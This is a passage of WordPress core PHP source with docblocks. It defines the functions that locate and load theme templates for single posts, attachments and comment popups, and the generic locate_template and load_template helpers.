 * @since 1.5.0
 *
 * @see get_query_template()
 *
 * @return string Full path to single template file.
 */
function get_single_template() {
	$object = get_queried_object();

	$templates = array();

	if ( ! empty( $object->post_type ) )
		$templates[] = "single-{$object->post_type}.php";
	$templates[] = "single.php";

	return get_query_template( 'single', $templates );
}

/**
 * Retrieve path of attachment template in current or parent template.
 *
 * The attachment path first checks if the first part of the mime type exists.
 * The second check is for the second part of the mime type. The last check is
 * for both types separated by an underscore. If neither are found then the file
 * 'attachment.php' is checked and returned.
 *
 * Some examples for the 'text/plain' mime type are 'text.php', 'plain.php', and
 * finally 'text_plain.php'.
 *
 * The template path is filterable via the 'attachment_template' hook.
 *
 * @since 2.0.0
 *
 * @see get_query_template()
 *
 * @return string Full path to attachment template file.
 */
function get_attachment_template() {
	global $posts;

	if ( ! empty( $posts ) && isset( $posts[0]->post_mime_type ) ) {
		$type = explode( '/', $posts[0]->post_mime_type );

		if ( ! empty( $type ) ) {
			if ( $template = get_query_template( $type[0] ) )
				return $template;
			elseif ( ! empty( $type[1] ) ) {
				if ( $template = get_query_template( $type[1] ) )
					return $template;
				elseif ( $template = get_query_template( "$type[0]_$type[1]" ) )
					return $template;
			}
		}
	}

	return get_query_template( 'attachment' );
}

/**
 * Retrieve path of comment popup template in current or parent template.
 *
 * Checks for comment popup template in current template, if it exists or in the
 * parent template.
 *
 * The template path is filterable via the 'comments_popup_template' hook.
 *
 * @since 1.5.0
 *
 * @see get_query_template()
 *
 * @return string Full path to comments popup template file.
 */
function get_comments_popup_template() {
	$template = get_query_template( 'comments_popup', array( 'comments-popup.php' ) );

	// Backward compat code will be removed in a future release
	if ('' == $template)
		$template = ABSPATH . WPINC . '/theme-compat/comments-popup.php';

	return $template;
}

/**
 * Retrieve the name of the highest priority template file that exists.
 *
 * Searches in the STYLESHEETPATH before TEMPLATEPATH so that themes which
 * inherit from a parent theme can just overload one file.
 *
 * @since 2.7.0
 *
 * @param string|array $template_names Template file(s) to search for, in order.
 * @param bool $load If true the template file will be loaded if it is found.
 * @param bool $require_once Whether to require_once or require. Default true. Has no effect if $load is false.
 * @return string The template filename if one is located.
 */
function locate_template($template_names, $load = false, $require_once = true ) {
	$located = '';
	foreach ( (array) $template_names as $template_name ) {
		if ( !$template_name )
			continue;
		if ( file_exists(STYLESHEETPATH . '/' . $template_name)) {
			$located = STYLESHEETPATH . '/' . $template_name;
			break;
		} elseif ( file_exists(TEMPLATEPATH . '/' . $template_name) ) {
			$located = TEMPLATEPATH . '/' . $template_name;
			break;
		}
	}

	if ( $load && '' != $located )
		load_template( $located, $require_once );

	return $located;
}

/**
 * Require the template file with WordPress environment.
 *
 * The globals are set up for the template file to ensure that the WordPress
 * environment is available from within the function. The query variables are
 * also available.
 *
 * @since 1.5.0
 *
 * @param string $_template_file Path to template file.
 * @param bool $require_once Whether to require_once or require. Default true.
 */
function load_template( $_template_file, $require_once = true ) {
	global $posts, $post, $wp_did_header, $wp_query, $wp_rewrite, $wpdb, $wp_version, $wp, $id, $comment, $user_ID;

	if ( is_array( $wp_query->query_vars ) )
		extract( $wp_query->query_vars, EXTR_SKIP );

	if ( $require_once )
		require_once( $_template_file );
	else
		require( $_template_file );
}